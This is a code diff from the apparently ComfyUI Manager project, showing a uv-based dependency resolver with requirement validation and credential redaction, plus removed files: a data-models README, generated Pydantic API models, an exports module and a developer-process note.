# 1b. Reject dangerous pip options appearing after package name
# (--index-url/--extra-index-url already extracted above)
if _INLINE_DANGEROUS_OPTIONS.search(line):
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
line, pack_path,
)
continue
# Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, "rejected: path separator in package name"))
logger.warning(
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
line, pack_path,
)
continue
# 2. Remap package name
pkg_spec = self._remap_package(line)
# 3. Extract normalised name
pkg_name = self._extract_package_name(pkg_spec)
# 4. Blacklist check
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 5. Downgrade blacklist check
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
installed_snapshot):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 6. Collect (no dedup — uv handles resolution)
requirements.append(
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
)
sources[pkg_name].append((pack_path, pkg_spec))
# Commit staged index URLs only after all validation passed.
if pending_urls:
extra_index_urls.extend(pending_urls)
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)),
)
# ------------------------------------------------------------------
# Step 2: compile
# ------------------------------------------------------------------
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via ``uv pip compile``."""
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
try:
# Write temp requirements
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
with open(tmp_req, "w", encoding="utf-8") as fh:
for req in deps.requirements:
fh.write(req.spec + "\n")
# Write constraints (base dependencies)
tmp_constraints: str | None = None
if self.base_requirements:
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
with open(tmp_constraints, "w", encoding="utf-8") as fh:
for line in self.base_requirements:
fh.write(line.strip() + "\n")
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
cmd = self._get_uv_cmd() + [
"pip", "compile",
tmp_req,
"--output-file", lockfile_path,
"--python", sys.executable,
]
if tmp_constraints:
cmd += ["--constraint", tmp_constraints]
for url in deps.extra_index_urls:
logger.info(
"[UnifiedDepResolver] extra-index-url: %s",
self._redact_url(url),
)
cmd += ["--extra-index-url", url]
logger.info("[UnifiedDepResolver] running: %s", " ".join(
self._redact_url(c) for c in cmd
))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
return LockfileResult(
success=False,
conflicts=["compile timeout exceeded (300s)"],
stderr="TimeoutExpired",
)
if result.returncode != 0:
conflicts = self._parse_conflicts(result.stderr)
return LockfileResult(
success=False,
conflicts=conflicts,
stderr=result.stderr,
)
if not os.path.exists(lockfile_path):
return LockfileResult(
success=False,
conflicts=["lockfile not created despite success return code"],
stderr=result.stderr,
)
return LockfileResult(success=True, lockfile_path=lockfile_path)
except UvNotAvailableError:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
except Exception:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
# ------------------------------------------------------------------
# Step 3: install
# ------------------------------------------------------------------
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (``uv pip install -r``).
Do **not** use ``uv pip sync`` — it deletes packages not in the
lockfile, risking removal of torch, ComfyUI deps, etc.
"""
cmd = self._get_uv_cmd() + [
"pip", "install",
"--requirement", lockfile_path,
"--python", sys.executable,
]
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=600,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
return InstallResult(
success=False,
stderr="TimeoutExpired: install exceeded 600s",
)
installed, skipped_pkgs = self._parse_install_output(result)
return InstallResult(
success=result.returncode == 0,
installed=installed,
skipped=skipped_pkgs,
stderr=result.stderr if result.returncode != 0 else "",
)
# ------------------------------------------------------------------
# uv command resolution
# ------------------------------------------------------------------
def _get_uv_cmd(self) -> list[str]:
"""Determine the ``uv`` command to use.
``python_embeded`` spelling is intentional — matches the actual path
name in the ComfyUI Windows distribution.
"""
embedded = 'python_embeded' in sys.executable
# 1. Try uv as a Python module
try:
test_cmd = (
[sys.executable]
+ (['-s'] if embedded else [])
+ ['-m', 'uv', '--version']
)
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
except Exception:
pass
# 2. Standalone uv executable
if shutil.which('uv'):
return ['uv']
raise UvNotAvailableError("uv is not available")
# ------------------------------------------------------------------
# Helpers — collection
# ------------------------------------------------------------------
@staticmethod
def _is_disabled_path(path: str) -> bool:
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
# New style: custom_nodes/.disabled/{name}
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
return True
# Old style: {name}.disabled suffix
if path.rstrip('/').endswith('.disabled'):
return True
return False
@staticmethod
def _read_requirements(filepath: str) -> list[str]:
"""Read requirements file using ``robust_readlines`` pattern."""
return manager_util.robust_readlines(filepath)
@staticmethod
def _split_index_url(line: str) -> tuple[str, list[str]]:
"""Split index-url options from a requirement line.
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
options. Returns ``(package_spec, [url, ...])``.
Examples::
"torch --extra-index-url U1 --index-url U2"
→ ("torch", ["U1", "U2"])
"--index-url URL"
→ ("", ["URL"])
"""
urls: list[str] = []
remainder_tokens: list[str] = []
# Regex: match --extra-index-url or --index-url followed by its value
option_re = re.compile(
r'(--(?:extra-)?index-url)\s+(\S+)'
)
# Pattern for bare option flags without a URL value
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
last_end = 0
for m in option_re.finditer(line):
# Text before this option is part of the package spec
before = line[last_end:m.start()].strip()
if before:
remainder_tokens.append(before)
urls.append(m.group(2))
last_end = m.end()
# Trailing text after last option
trailing = line[last_end:].strip()
if trailing:
remainder_tokens.append(trailing)
# Strip any bare option flags that leaked into remainder tokens
# (e.g. "--index-url" with no URL value after it)
remainder_tokens = [
t for t in remainder_tokens if not bare_option_re.match(t)
]
pkg_spec = " ".join(remainder_tokens).strip()
return pkg_spec, urls
def _remap_package(self, pkg: str) -> str:
"""Apply ``pip_overrides`` remapping."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
return remapped
return pkg
@staticmethod
def _extract_package_name(spec: str) -> str:
"""Extract normalised package name from a requirement spec."""
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
return name.lower().replace('-', '_')
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
installed: dict) -> bool:
"""Reproduce the downgrade logic from ``is_blacklisted()``.
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
Args:
installed: Pre-fetched snapshot from
``manager_util.get_installed_packages()``.
"""
if pkg_name not in self.downgrade_blacklist:
return False
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed:
return True
elif match.group(2) in ('<=', '==', '<', '~='):
if pkg_name in installed:
try:
installed_ver = manager_util.StrictVersion(installed[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logger.warning(
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
)
return False
return False
# ------------------------------------------------------------------
# Helpers — parsing & output
# ------------------------------------------------------------------
@staticmethod
def _parse_conflicts(stderr: str) -> list[str]:
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
conflicts: list[str] = []
for line in stderr.splitlines():
line = line.strip()
if line and ('conflict' in line.lower() or 'error' in line.lower()):
conflicts.append(line)
return conflicts or [stderr.strip()] if stderr.strip() else []
@staticmethod
def _parse_install_output(
result: subprocess.CompletedProcess[str],
) -> tuple[list[str], list[str]]:
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
installed: list[str] = []
skipped_pkgs: list[str] = []
for line in result.stdout.splitlines():
line_lower = line.strip().lower()
if 'installed' in line_lower or 'updated' in line_lower:
installed.append(line.strip())
elif 'already' in line_lower or 'satisfied' in line_lower:
skipped_pkgs.append(line.strip())
return installed, skipped_pkgs
@staticmethod
def _redact_url(url: str) -> str:
"""Mask ``user:pass@`` credentials in URLs."""
return _CREDENTIAL_PATTERN.sub('://****@', url)
# ------------------------------------------------------------------
# Temp-file housekeeping
# ------------------------------------------------------------------
@classmethod
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
"""Remove stale temp directories from previous abnormal terminations."""
tmp_root = tempfile.gettempdir()
now = time.time()
for entry in os.scandir(tmp_root):
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
try:
age = now - entry.stat().st_mtime
if age > max_age_seconds:
shutil.rmtree(entry.path, ignore_errors=True)
logger.info(
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
)
except OSError:
pass
def attribute_conflicts(
sources: dict[str, list[tuple[str, str]]],
conflicts: list[str],
) -> dict[str, list[tuple[str, str]]]:
"""Cross-reference conflict packages with their requesting node packs.
Uses word-boundary regex to prevent false-positive prefix matches
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
"""
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
return {
pkg: reqs
for pkg, reqs in sources.items()
if re.search(
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
conflict_text,
)
}
-68
View File
@@ -1,68 +0,0 @@
# Data Models
This directory contains Pydantic models for ComfyUI Manager, providing type safety, validation, and serialization for the API and internal data structures.
## Overview
- `generated_models.py` - All models auto-generated from OpenAPI spec
- `__init__.py` - Package exports for all models
**Note**: All models are now auto-generated from the OpenAPI specification. Manual model files (`task_queue.py`, `state_management.py`) have been deprecated in favor of a single source of truth.
## Generating Types from OpenAPI
The state management models are automatically generated from the OpenAPI specification using `datamodel-codegen`. This ensures type safety and consistency between the API specification and the Python code.
### Prerequisites
Install the code generator:
```bash
pipx install datamodel-code-generator
```
### Generation Command
To regenerate all models after updating the OpenAPI spec:
```bash
datamodel-codegen \
--use-subclass-enum \
--field-constraints \
--strict-types bytes \
--use-double-quotes \
--input openapi.yaml \
--output comfyui_manager/data_models/generated_models.py \
--output-model-type pydantic_v2.BaseModel
```
### When to Regenerate
You should regenerate the models when:
1. **Adding new API endpoints** that return new data structures
2. **Modifying existing schemas** in the OpenAPI specification
3. **Adding new state management features** that require new models
### Important Notes
- **Single source of truth**: All models are now generated from `openapi.yaml`
- **No manual models**: All previously manual models have been migrated to the OpenAPI spec
- **OpenAPI requirements**: New schemas must be referenced in API paths to be generated by datamodel-codegen
- **Validation**: Always validate the OpenAPI spec before generation:
```bash
python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
```
### Example: Adding New State Models
1. Add your schema to `openapi.yaml` under `components/schemas/`
2. Reference the schema in an API endpoint response
3. Run the generation command above
4. Update `__init__.py` to export the new models
5. Import and use the models in your code
### Troubleshooting
- **Models not generated**: Ensure schemas are under `components/schemas/` (not `parameters/`)
- **Missing models**: Verify schemas are referenced in at least one API path
- **Import errors**: Check that new models are added to `__init__.py` exports
-137
View File
@@ -1,137 +0,0 @@
"""
Data models for ComfyUI Manager.
This package contains Pydantic models used throughout the ComfyUI Manager
for data validation, serialization, and type safety.
All models are auto-generated from the OpenAPI specification to ensure
consistency between the API and implementation.
"""
from .generated_models import (
# Core Task Queue Models
QueueTaskItem,
TaskHistoryItem,
TaskStateMessage,
TaskExecutionStatus,
# WebSocket Message Models
MessageTaskDone,
MessageTaskStarted,
MessageTaskFailed,
MessageUpdate,
ManagerMessageName,
# State Management Models
BatchExecutionRecord,
ComfyUISystemState,
BatchOperation,
InstalledNodeInfo,
InstalledModelInfo,
ComfyUIVersionInfo,
# Import Fail Info Models
ImportFailInfoBulkRequest,
ImportFailInfoBulkResponse,
ImportFailInfoItem,
ImportFailInfoItem1,
# Other models
OperationType,
OperationResult,
ManagerPackInfo,
ManagerPackInstalled,
SelectedVersion,
ManagerChannel,
ManagerDatabaseSource,
ManagerPackState,
ManagerPackInstallType,
ManagerPack,
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
UpdateAllQueryParams,
UpdateComfyUIQueryParams,
ComfyUISwitchVersionQueryParams,
QueueStatus,
ManagerMappings,
ModelMetadata,
NodePackageMetadata,
SnapshotItem,
Error,
InstalledPacksResponse,
HistoryResponse,
HistoryListResponse,
InstallType,
SecurityLevel,
RiskLevel,
)
__all__ = [
# Core Task Queue Models
"QueueTaskItem",
"TaskHistoryItem",
"TaskStateMessage",
"TaskExecutionStatus",
# WebSocket Message Models
"MessageTaskDone",
"MessageTaskStarted",
"MessageTaskFailed",
"MessageUpdate",
"ManagerMessageName",
# State Management Models
"BatchExecutionRecord",
"ComfyUISystemState",
"BatchOperation",
"InstalledNodeInfo",
"InstalledModelInfo",
"ComfyUIVersionInfo",
# Import Fail Info Models
"ImportFailInfoBulkRequest",
"ImportFailInfoBulkResponse",
"ImportFailInfoItem",
"ImportFailInfoItem1",
# Other models
"OperationType",
"OperationResult",
"ManagerPackInfo",
"ManagerPackInstalled",
"SelectedVersion",
"ManagerChannel",
"ManagerDatabaseSource",
"ManagerPackState",
"ManagerPackInstallType",
"ManagerPack",
"InstallPackParams",
"UpdatePackParams",
"UpdateAllPacksParams",
"UpdateComfyUIParams",
"FixPackParams",
"UninstallPackParams",
"DisablePackParams",
"EnablePackParams",
"UpdateAllQueryParams",
"UpdateComfyUIQueryParams",
"ComfyUISwitchVersionQueryParams",
"QueueStatus",
"ManagerMappings",
"ModelMetadata",
"NodePackageMetadata",
"SnapshotItem",
"Error",
"InstalledPacksResponse",
"HistoryResponse",
"HistoryListResponse",
"InstallType",
"SecurityLevel",
"RiskLevel",
]
@@ -1,561 +0,0 @@
# generated by datamodel-codegen:
# filename: openapi.yaml
# timestamp: 2025-07-31T04:52:26+00:00
from __future__ import annotations
from datetime import datetime
from enum import Enum
from typing import Any, Dict, List, Optional, Union
from pydantic import BaseModel, Field, RootModel
class OperationType(str, Enum):
install = "install"
uninstall = "uninstall"
update = "update"
update_comfyui = "update-comfyui"
fix = "fix"
disable = "disable"
enable = "enable"
install_model = "install-model"
class OperationResult(str, Enum):
success = "success"
failed = "failed"
skipped = "skipped"
error = "error"
skip = "skip"
class TaskExecutionStatus(BaseModel):
status_str: OperationResult
completed: bool = Field(..., description="Whether the task completed")
messages: List[str] = Field(..., description="Additional status messages")
class ManagerMessageName(str, Enum):
cm_task_completed = "cm-task-completed"
cm_task_started = "cm-task-started"
cm_queue_status = "cm-queue-status"
class ManagerPackInfo(BaseModel):
id: str = Field(
...,
description="Either github-author/github-repo or name of pack from the registry",
)
version: str = Field(..., description="Semantic version or Git commit hash")
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
class ManagerPackInstalled(BaseModel):
ver: str = Field(
...,
description="The version of the pack that is installed (Git commit hash or semantic version)",
)
cnr_id: Optional[str] = Field(
None, description="The name of the pack if installed from the registry"
)
aux_id: Optional[str] = Field(
None,
description="The name of the pack if installed from github (author/repo-name format)",
)
enabled: bool = Field(..., description="Whether the pack is enabled")
class SelectedVersion(str, Enum):
latest = "latest"
nightly = "nightly"
class ManagerChannel(str, Enum):
default = "default"
recent = "recent"
legacy = "legacy"
forked = "forked"
dev = "dev"
tutorial = "tutorial"
class ManagerDatabaseSource(str, Enum):
remote = "remote"
local = "local"
cache = "cache"
class ManagerPackState(str, Enum):
installed = "installed"
disabled = "disabled"
not_installed = "not_installed"
import_failed = "import_failed"
needs_update = "needs_update"
class ManagerPackInstallType(str, Enum):
git_clone = "git-clone"
copy = "copy"
cnr = "cnr"
class SecurityLevel(str, Enum):
strong = "strong"
normal = "normal"
normal_ = "normal-"
weak = "weak"
class RiskLevel(str, Enum):
block = "block"
high_ = "high+"
high = "high"
middle_ = "middle+"
middle = "middle"
class UpdateState(Enum):
false = "false"
true = "true"
class ManagerPack(ManagerPackInfo):
author: Optional[str] = Field(
None, description="Pack author name or 'Unclaimed' if added via GitHub crawl"
)
files: Optional[List[str]] = Field(
None,
description="Repository URLs for installation (typically contains one GitHub URL)",
)
reference: Optional[str] = Field(
None, description="The type of installation reference"
)
title: Optional[str] = Field(None, description="The display name of the pack")
cnr_latest: Optional[SelectedVersion] = None
repository: Optional[str] = Field(None, description="GitHub repository URL")
state: Optional[ManagerPackState] = None
update_state: Optional[UpdateState] = Field(
None, alias="update-state", description="Update availability status"
)
stars: Optional[int] = Field(None, description="GitHub stars count")
last_update: Optional[datetime] = Field(None, description="Last update timestamp")
health: Optional[str] = Field(None, description="Health status of the pack")
description: Optional[str] = Field(None, description="Pack description")
trust: Optional[bool] = Field(None, description="Whether the pack is trusted")
install_type: Optional[ManagerPackInstallType] = None
class InstallPackParams(ManagerPackInfo):
selected_version: Union[str, SelectedVersion] = Field(
..., description="Semantic version, Git commit hash, latest, or nightly"
)
repository: Optional[str] = Field(
None,
description="GitHub repository URL (required if selected_version is nightly)",
)
pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
mode: ManagerDatabaseSource
channel: ManagerChannel
skip_post_install: Optional[bool] = Field(
None, description="Whether to skip post-installation steps"
)
class UpdateAllPacksParams(BaseModel):
mode: Optional[ManagerDatabaseSource] = None
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
class UpdatePackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to update")
node_ver: Optional[str] = Field(
None, description="Current version of the node package"
)
class UpdateComfyUIParams(BaseModel):
is_stable: Optional[bool] = Field(
True,
description="Whether to update to stable version (true) or nightly (false)",
)
target_version: Optional[str] = Field(
None,
description="Specific version to switch to (for version switching operations)",
)
class FixPackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to fix")
node_ver: str = Field(..., description="Version of the node package")
class UninstallPackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to uninstall")
is_unknown: Optional[bool] = Field(
False, description="Whether this is an unknown/unregistered package"
)
class DisablePackParams(BaseModel):
node_name: str = Field(..., description="Name of the node package to disable")
is_unknown: Optional[bool] = Field(
False, description="Whether this is an unknown/unregistered package"
)
class EnablePackParams(BaseModel):
cnr_id: str = Field(
..., description="ComfyUI Node Registry ID of the package to enable"
)
class UpdateAllQueryParams(BaseModel):
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="Base UI identifier for task tracking")
mode: Optional[ManagerDatabaseSource] = None
class UpdateComfyUIQueryParams(BaseModel):
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="UI identifier for task tracking")
stable: Optional[bool] = Field(
True,
description="Whether to update to stable version (true) or nightly (false)",
)
class ComfyUISwitchVersionQueryParams(BaseModel):
ver: str = Field(..., description="Version to switch to")
client_id: str = Field(
..., description="Client identifier that initiated the request"
)
ui_id: str = Field(..., description="UI identifier for task tracking")
class QueueStatus(BaseModel):
total_count: int = Field(
..., description="Total number of tasks (pending + running)"
)
done_count: int = Field(..., description="Number of completed tasks")
in_progress_count: int = Field(..., description="Number of tasks currently running")
pending_count: Optional[int] = Field(
None, description="Number of tasks waiting to be executed"
)
is_processing: bool = Field(..., description="Whether the task worker is active")
client_id: Optional[str] = Field(
None, description="Client ID (when filtered by client)"
)
class ManagerMappings1(BaseModel):
title_aux: Optional[str] = Field(None, description="The display name of the pack")
class ManagerMappings(
RootModel[Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]]]
):
root: Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]] = Field(
None, description="Tuple of [node_names, metadata]"
)
class ModelMetadata(BaseModel):
name: str = Field(..., description="Name of the model")
type: str = Field(..., description="Type of model")
base: Optional[str] = Field(None, description="Base model type")
save_path: Optional[str] = Field(None, description="Path for saving the model")
url: str = Field(..., description="Download URL")
filename: str = Field(..., description="Target filename")
ui_id: Optional[str] = Field(None, description="ID for UI reference")
class InstallType(str, Enum):
git = "git"
copy = "copy"
pip = "pip"
class NodePackageMetadata(BaseModel):
title: Optional[str] = Field(None, description="Display name of the node package")
name: Optional[str] = Field(None, description="Repository/package name")
files: Optional[List[str]] = Field(None, description="Source URLs for the package")
description: Optional[str] = Field(
None, description="Description of the node package functionality"
)
install_type: Optional[InstallType] = Field(None, description="Installation method")
version: Optional[str] = Field(None, description="Version identifier")
id: Optional[str] = Field(
None, description="Unique identifier for the node package"
)
ui_id: Optional[str] = Field(None, description="ID for UI reference")
channel: Optional[str] = Field(None, description="Source channel")
mode: Optional[str] = Field(None, description="Source mode")
class SnapshotItem(RootModel[str]):
root: str = Field(..., description="Name of the snapshot")
class Error(BaseModel):
error: str = Field(..., description="Error message")
class InstalledPacksResponse(RootModel[Optional[Dict[str, ManagerPackInstalled]]]):
root: Optional[Dict[str, ManagerPackInstalled]] = None
class HistoryListResponse(BaseModel):
ids: Optional[List[str]] = Field(
None, description="List of available batch history IDs"
)
class InstalledNodeInfo(BaseModel):
name: str = Field(..., description="Node package name")
version: str = Field(..., description="Installed version")
repository_url: Optional[str] = Field(None, description="Git repository URL")
install_method: str = Field(
..., description="Installation method (cnr, git, pip, etc.)"
)
enabled: Optional[bool] = Field(
True, description="Whether the node is currently enabled"
)
install_date: Optional[datetime] = Field(
None, description="ISO timestamp of installation"
)
class InstalledModelInfo(BaseModel):
name: str = Field(..., description="Model filename")
path: str = Field(..., description="Full path to model file")
type: str = Field(..., description="Model type (checkpoint, lora, vae, etc.)")
size_bytes: Optional[int] = Field(None, description="File size in bytes", ge=0)
hash: Optional[str] = Field(None, description="Model file hash for verification")
install_date: Optional[datetime] = Field(
None, description="ISO timestamp when added"
)
class ComfyUIVersionInfo(BaseModel):
version: str = Field(..., description="ComfyUI version string")
commit_hash: Optional[str] = Field(None, description="Git commit hash")
branch: Optional[str] = Field(None, description="Git branch name")
is_stable: Optional[bool] = Field(
False, description="Whether this is a stable release"
)
last_updated: Optional[datetime] = Field(
None, description="ISO timestamp of last update"
)
class BatchOperation(BaseModel):
operation_id: str = Field(..., description="Unique operation identifier")
operation_type: OperationType
target: str = Field(
..., description="Target of the operation (node name, model name, etc.)"
)
target_version: Optional[str] = Field(
None, description="Target version for the operation"
)
result: OperationResult
error_message: Optional[str] = Field(
None, description="Error message if operation failed"
)
start_time: datetime = Field(
..., description="ISO timestamp when operation started"
)
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when operation completed"
)
client_id: Optional[str] = Field(
None, description="Client that initiated the operation"
)
class ComfyUISystemState(BaseModel):
snapshot_time: datetime = Field(
..., description="ISO timestamp when snapshot was taken"
)
comfyui_version: ComfyUIVersionInfo
frontend_version: Optional[str] = Field(
None, description="ComfyUI frontend version if available"
)
python_version: str = Field(..., description="Python interpreter version")
platform_info: str = Field(
..., description="Operating system and platform information"
)
installed_nodes: Optional[Dict[str, InstalledNodeInfo]] = Field(
None, description="Map of installed node packages by name"
)
installed_models: Optional[Dict[str, InstalledModelInfo]] = Field(
None, description="Map of installed models by name"
)
manager_config: Optional[Dict[str, Any]] = Field(
None, description="ComfyUI Manager configuration settings"
)
comfyui_root_path: Optional[str] = Field(
None, description="ComfyUI root installation directory"
)
model_paths: Optional[Dict[str, List[str]]] = Field(
None, description="Map of model types to their configured paths"
)
manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
security_level: Optional[SecurityLevel] = None
network_mode: Optional[str] = Field(
None, description="Network mode (online, offline, private)"
)
cli_args: Optional[Dict[str, Any]] = Field(
None, description="Selected ComfyUI CLI arguments"
)
custom_nodes_count: Optional[int] = Field(
None, description="Total number of custom node packages", ge=0
)
failed_imports: Optional[List[str]] = Field(
None, description="List of custom nodes that failed to import"
)
pip_packages: Optional[Dict[str, str]] = Field(
None, description="Map of installed pip packages to their versions"
)
embedded_python: Optional[bool] = Field(
None,
description="Whether ComfyUI is running from an embedded Python distribution",
)
class BatchExecutionRecord(BaseModel):
batch_id: str = Field(..., description="Unique batch identifier")
start_time: datetime = Field(..., description="ISO timestamp when batch started")
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when batch completed"
)
state_before: ComfyUISystemState
state_after: Optional[ComfyUISystemState] = Field(
None, description="System state after batch execution"
)
operations: Optional[List[BatchOperation]] = Field(
None, description="List of operations performed in this batch"
)
total_operations: Optional[int] = Field(
0, description="Total number of operations in batch", ge=0
)
successful_operations: Optional[int] = Field(
0, description="Number of successful operations", ge=0
)
failed_operations: Optional[int] = Field(
0, description="Number of failed operations", ge=0
)
skipped_operations: Optional[int] = Field(
0, description="Number of skipped operations", ge=0
)
class ImportFailInfoBulkRequest(BaseModel):
cnr_ids: Optional[List[str]] = Field(
None, description="A list of CNR IDs to check."
)
urls: Optional[List[str]] = Field(
None, description="A list of repository URLs to check."
)
class ImportFailInfoItem1(BaseModel):
error: Optional[str] = None
traceback: Optional[str] = None
class ImportFailInfoItem(RootModel[Optional[ImportFailInfoItem1]]):
root: Optional[ImportFailInfoItem1]
class QueueTaskItem(BaseModel):
ui_id: str = Field(..., description="Unique identifier for the task")
client_id: str = Field(..., description="Client identifier that initiated the task")
kind: OperationType
params: Union[
InstallPackParams,
UpdatePackParams,
UpdateAllPacksParams,
UpdateComfyUIParams,
FixPackParams,
UninstallPackParams,
DisablePackParams,
EnablePackParams,
ModelMetadata,
]
class TaskHistoryItem(BaseModel):
ui_id: str = Field(..., description="Unique identifier for the task")
client_id: str = Field(..., description="Client identifier that initiated the task")
kind: str = Field(..., description="Type of task that was performed")
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
result: str = Field(..., description="Task result message or details")
status: Optional[TaskExecutionStatus] = None
batch_id: Optional[str] = Field(
None, description="ID of the batch this task belongs to"
)
end_time: Optional[datetime] = Field(
None, description="ISO timestamp when task execution ended"
)
class TaskStateMessage(BaseModel):
history: Dict[str, TaskHistoryItem] = Field(
..., description="Map of task IDs to their history items"
)
running_queue: List[QueueTaskItem] = Field(
..., description="Currently executing tasks"
)
pending_queue: List[QueueTaskItem] = Field(
..., description="Tasks waiting to be executed"
)
installed_packs: Dict[str, ManagerPackInstalled] = Field(
..., description="Map of currently installed node packages by name"
)
class MessageTaskDone(BaseModel):
ui_id: str = Field(..., description="Task identifier")
result: str = Field(..., description="Task result message")
kind: str = Field(..., description="Type of task")
status: Optional[TaskExecutionStatus] = None
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
state: TaskStateMessage
class MessageTaskStarted(BaseModel):
ui_id: str = Field(..., description="Task identifier")
kind: str = Field(..., description="Type of task")
timestamp: datetime = Field(..., description="ISO timestamp when task started")
state: TaskStateMessage
class MessageTaskFailed(BaseModel):
ui_id: str = Field(..., description="Task identifier")
error: str = Field(..., description="Error message")
kind: str = Field(..., description="Type of task")
timestamp: datetime = Field(..., description="ISO timestamp when task failed")
state: TaskStateMessage
class MessageUpdate(
RootModel[Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed]]
):
root: Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed] = Field(
..., description="Union type for all possible WebSocket message updates"
)
class HistoryResponse(BaseModel):
history: Optional[Dict[str, TaskHistoryItem]] = Field(
None, description="Map of task IDs to their history items"
)
class ImportFailInfoBulkResponse(RootModel[Optional[Dict[str, ImportFailInfoItem]]]):
root: Optional[Dict[str, ImportFailInfoItem]] = None
-11
View File
@@ -1,11 +0,0 @@
- Anytime you make a change to the data being sent or received, you should follow this process:
1. Adjust the openapi.yaml file first
2. Verify the syntax of the openapi.yaml file using `yaml.safe_load`
3. Regenerate the types following the instructions in the `data_models/README.md` file
4. Verify the new data model is generated
5. Verify the syntax of the generated types files
6. Run formatting and linting on the generated types files
7. Adjust the `__init__.py` files in the `data_models` directory to match/export the new data model
8. Only then, make the changes to the rest of the codebase
9. Run the CI tests to verify that the changes are working
- The comfyui_manager is a python package that is used to manage the comfyui server. There are two sub-packages `glob` and `legacy`. These represent the current version (`glob`) and the previous version (`legacy`), not including common utilities and data models. When developing, we work in the `glob` package. You can ignore the `legacy` package entirely, unless you have a very good reason to research how things were done in the legacy or prior major versions of the package. But in those cases, you should just look for the sake of knowledge or reflection, not for changing code (unless explicitly asked to do so).
View File
-55
View File
@@ -1,55 +0,0 @@
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
model_dir_name_map = {
"checkpoints": "checkpoints",
